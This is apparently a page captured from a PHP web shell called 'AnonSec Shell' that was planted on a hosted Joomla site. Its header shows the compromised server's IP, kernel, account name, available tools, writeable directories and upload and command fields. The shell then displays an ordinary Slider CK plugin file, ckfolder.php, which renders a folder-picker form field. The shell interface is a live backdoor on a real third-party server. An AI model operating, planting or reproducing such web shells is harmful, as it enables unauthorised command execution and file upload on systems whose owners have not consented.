AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/sliderck/folder/elements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/sliderck/folder/elements/ckfolder.php
<?php
/**
 * @copyright	Copyright (C) 2016 Cedric KEIFLIN alias ced1870
 * http://www.joomlack.fr
 * @license		GNU/GPL
 * */

defined('_JEXEC') or die;

use \Sliderck\CKFof;

if (!defined('SLIDERCK_MEDIA_URI'))
{
	define('SLIDERCK_MEDIA_URI', \Sliderck\CKUri::root(true) . '/media/com_sliderck');
}

include_once JPATH_ROOT . '/administrator/components/com_sliderck/helpers/ckfof.php';

class JFormFieldCkfolder extends \Joomla\CMS\Form\FormField
{

	protected $type = 'ckfolder';

	function __construct($form = null) {
		$doc = \Sliderck\CKFof::getDocument();

		\Sliderck\CKText::script('CK_SAVE_CLOSE');
		\Joomla\CMS\HTML\HTMLHelper::_('jquery.framework');
		$doc->addStyleSheet(\Sliderck\CKUri::root(true) . '/plugins/sliderck/folder/elements/ckfolder/ckfolder.css');
		$doc->addScript(SLIDERCK_MEDIA_URI . '/assets/jquery-ui.min.js');
		$doc->addScript(\Sliderck\CKUri::root(true) . '/plugins/sliderck/folder/elements/ckfolder/ckfolder.js');
		$doc->addStylesheet(SLIDERCK_MEDIA_URI . '/assets/ckbox.css');
		$doc->addScript(SLIDERCK_MEDIA_URI . '/assets/ckbox.js');

		parent::__construct($form);
	}

	protected function getInput() {
		// Initialize some field attributes.
		$icon = $this->element['icon'];
		$suffix = $this->element['suffix'];
		$size = $this->element['size'] ? ' size="' . (int) $this->element['size'] . '"' : '';
		$maxLength = $this->element['maxlength'] ? ' maxlength="' . (int) $this->element['maxlength'] . '"' : '';
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		$readonly = ((string) $this->element['readonly'] == 'true') ? ' readonly="readonly"' : '';
		$disabled = ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : '';
		$defautlwidth = $suffix ? '128px' : '150px';
		$styles = ' style="width:'.$defautlwidth.';'.$this->element['styles'].'"';

		/*$input = \Sliderck\CKFof::getApplication()->input;
		$id = $input->get('id', 0, 'int');
		$moduleOptions = CKFof::dbLoadObject("SELECT * FROM #__modules WHERE id = " . (int)$id);
		if ($moduleOptions != null) { 
			$params = json_decode($moduleOptions->params);
			if (isset($params->folder)) {
//				echo 'test';
				$this->value = $params->folder;
			}
		}*/

		// Initialize JavaScript field attributes.
		$onchange = $this->element['onchange'] ? ' onchange="' . (string) $this->element['onchange'] . '"' : '';
		$html = $icon ? '<div style="display:inline-block;vertical-align:top;margin-top:4px;width:20px;"><img src="' . SLIDERCK_MEDIA_URI . '/images/' . $icon . '" style="margin-right:5px;" /></div>' : '<div style="display:inline-block;width:20px;"></div>';
		$html .= '<input type="text" name="' . $this->name . '" id="' . $this->id . '"' . ' value="'
			. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '"' . $class . $size . $disabled . $readonly . $onchange . $maxLength . $styles . '/>';
		if ($suffix)
			$html .= '<span style="display:inline-block;line-height:25px;">' . $suffix . '</span>';
		$html .= '<div class="ckbutton" onclick="CKBox.open({url: \'index.php?option=com_sliderck&view=browse&type=folder&field=' . $this->id . '&tmpl=component&func=ckSelectFolder\'})"><i class="fas fa-edit"></i> ' . \Sliderck\CKText::_('SLIDERCK_SELECT') . '</div>';
		$html .= '<p></p><p>' . \Sliderck\CKText::_('SLIDERCK_FOLDER_EDIT_LABELS_DESC') . '</p>';
		$html .= '<p><div class="btn btn-primary" onclick="ckEditLabelsFile()">' . \Sliderck\CKText::_('SLIDERCK_FOLDER_EDIT_LABELS') . '</div></p>';
//		$html .= '<h3>' . \Sliderck\CKText::_('SLIDERCK_FOLDER_SLIDES_PREVIEW') . '</h3>';
//		$html .= '<div id="' . $this->id . 'imagespreview"></div>';
		$html .= '<div id="' . $this->id . 'labelseditor" ></div>';
		return $html;
	}
}

Anon7 - 2022
AnonSec Team